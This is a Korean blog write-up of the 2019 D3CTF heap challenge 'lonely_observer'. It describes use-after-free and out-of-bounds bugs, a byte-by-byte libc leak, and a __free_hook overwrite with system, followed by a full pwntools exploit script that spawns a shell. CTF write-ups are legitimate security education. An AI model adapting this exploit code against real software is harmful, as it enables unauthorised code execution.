pipe https://12bme.tistory.com/226
d3ctf writeup https://www.anquanke.com/post/id/193939#h3-9
pipe
를 이용한 IPC
를 구현한 바이너리이다.
총 2개의 바이너리 mimic32
, mimic64
와 IPC
통신을 진행한다.
간단하게 lonely_observer
바이너리에서 각각의 thread
로 입력, 출력을 받고 이를 출력해준다.
요로코롬 thread
를 만들어서 각각의 바이너리를 관리한다.
그리고 밑에서 buf
에 입력을 받아 mimic32
, mimic64
에 전달해준다.
근데 문제는 main_thread
에서 memcmp
로 mimic32
, mimic64
의 출력값을 비교한다.
출력값이 같지 않으면 handler
가 호출되어 프로그램이 종료된다.
즉, 목표로 해야 할 점은 mimic32
와 mimic64
의 출력 값을 동일하게 하면서 동시에 쉘을 얻어내야 한다는 점이다.
mimic32
와 mimic64
는 비트만 다르지 내용은 똑같으므로 취약점을 간단하게 살펴보자.
delete
함수에서 oob
, uaf
가 발생한다.
또한, 특별한 점은 chunk
를 관리하는 struct
를 만들어 관리한다는 것이다.
size | &chunk
간단하게 위와 같은 식으로 chunk
가 관리된다.
평소같았더라면 uaf
가 발생하니 unsortedbin free
를 이용하여 libc
를 따고 shell
을 얻을 수 있었을테지만 mimic32
, mimic64
의 출력이 똑같아야 하므로 불가능하다.
여기서, size
를 이용하여 libc
를 각각 유출시킬 수 있다.
stderr
의 한 바이트식을 size
로 인식시켜 몇 byte
를 입력하면 입력이 완료되는지 각각 검사하는 것이다.
이를 통해 libc
를 유출시키고 나면, 나머지는 __free_hook
을 system
으로 덮어 mimic32
, mimic64
동시에 쉘을 얻어내면 된다.
from pwn import *
import time
#context.log_level= 'debug'
t64 = 0
if t64 == 1:
e = ELF('mimic64')
s = process('./mimic64')
elif t64 == 2:
e = ELF('./mimic32')
s = process('./mimic32')
else:
e = ELF('./lonely_observer')
s = process('./lonely_observer')
lib64 = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
lib32 = ELF('/lib/i386-linux-gnu/libc-2.23.so', checksec=False)
ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
sla = lambda x,y: s.sendlineafter(x,y)
sa = lambda x,y: s.sendafter(x,y)
sn = lambda x: s.send(x)
def menu(sel):
sla('>>\n', sel)
def add(idx, size, data):
menu('1')
sla('>>\n', idx)
sla('>>\n', size)
sla('content:\n', data)
def delete(idx):
menu('2')
sla('>>\n', idx)
def view(idx):
menu('3')
sla('>>\n', idx)
def edit(idx, data):
sla('>>','4')
sla('index?', idx)
sa('content:', data)
"""
e= ELF('./mimic32')
[*] '/home/ubuntu/pwn/d3ctf/observer/mimic32'
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
e= ELF('./mimic64')
[*] '/home/ubuntu/pwn/d3ctf/observer/mimic64'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
"""
time_start = time.time()
list64 = 0x602060
bss64 = 0x602060 + 0x10*0x30
list32 = 0x804b060
bss32 = 0x804b060 + 8*0x30
add('0', str(0x1), '123')
add('1', str(0x1), '123')
add('2', str(0x1), '123')
delete('0')
delete('1')
edit('1', '\x00')
add('3', str(0x10), p64(0x1000) + p64(list64+8*4)) # mimic64 list+32
delete('2')
edit('2', '\x00')
add('4', str(8), p32(0x1000)+p32(list32+4*8)) # mimic32 list+32
delete('2')
edit('2', '\x00')
lbase64 = 0
for idx in range(5, 0, -1):
buf = p32(list32+4*10) + p32(list32+4*12)
buf += p32(1) + p32(bss32) # 8
buf += p32(0x100) + p32(bss32+0x100) # 9
buf = buf.ljust(4*8, '\x00')
buf += p64(0x602040+idx) + p64(list64+8*12)
buf += p64(0) + p64(0) # 8
buf += p64(0x100) + p64(0x602041+idx) # 9
buf += '\n'
sl('4')
sla('index?', '0')
sa('content:', buf)
edit('9', '\x00'*7 + p64(bss64) + '\n')
sla('>>', '4')
sla('index?', '8')
for sz in range(1, 256):
#print('sz:'+str(sz))
sn('5')
if 'done!' in s.recvrepeat(0.1):
lbase64 += sz << (idx*8)
success(hex(sz))
sl('5'*(0x100-sz)) # for mimic32
break
elif sz == 0xff:
print("failed")
exit(0)
lbase64 -= lib64.sym['_IO_2_1_stderr_'] & ~0xff
success('lbase64: {}'.format(hex(lbase64)))
lbase32 = 0
for idx in range(3, 0, -1):
buf = p32(0x804b020+idx) + p32(list32+4*12)
buf += p32(0) + p32(0) # 8
buf += p32(0x100) + p32(0x804b021+idx) # 9
buf = buf.ljust(4*8, '\x00')
buf += p64(list64+8*10) + p64(list64+8*12)
buf += p64(1) + p64(bss64) # 8
buf += p64(0x100) + p64(bss64+0x100) # 9
buf += '\n'
sl('4')
sla('index?', '0')
sa('content:', buf)
edit('9', '\x00'*3 + p32(bss32) + '\n')
sla('>>', '4')
sla('index?', '8')
for sz in range(1, 256):
#print('sz:'+str(sz))
s.send('5')
if 'done!' in s.recvrepeat(0.1):
lbase32 += sz << (idx*8)
success(hex(sz))
sl('5'*(0x100-sz))
break
elif sz == 0xff:
print("failed")
exit(0)
lbase32 -= lib32.sym['_IO_2_1_stderr_']&~0xff
success('lbase64: {}'.format(hex(lbase64)))
success('lbase32: {}'.format(hex(lbase32)))
system32 = lbase32 + lib32.symbols['system']
system64 = lbase64 + lib64.symbols['system']
fhook32 = lbase32 + lib32.symbols['__free_hook']
fhook64 = lbase64 + lib64.symbols['__free_hook']
buf = p32(list32+4*10) + p32(list32+4*12)
buf += p32(0x4) + p32(fhook32) # 9
buf += p32(0x8) + p32(bss32) # 8
buf = buf.ljust(4*8, '\x00')
buf += p64(list64+8*10) + p64(list64+8*12)
buf += p64(0x4) + p64(bss64) # 8
buf += p64(0x8) + p64(fhook64) # 9
buf += '\n'
edit('0', buf)
edit('8', p32(system32))
edit('9', p64(system64))
add(str(0x20), str(0x8), "/bin/sh\x00")
delete(str(0x20))
io()
'system > writeup' 카테고리의 다른 글
pwnable.tw criticalheap (0) | 2019.12.21 |
---|---|
pwnable.tw printable (0) | 2019.12.20 |
2019 d3ctf babyrop (0) | 2019.12.15 |
2019 d3ctf ezfile (0) | 2019.12.15 |
2019 holyshield babyheap (0) | 2019.12.04 |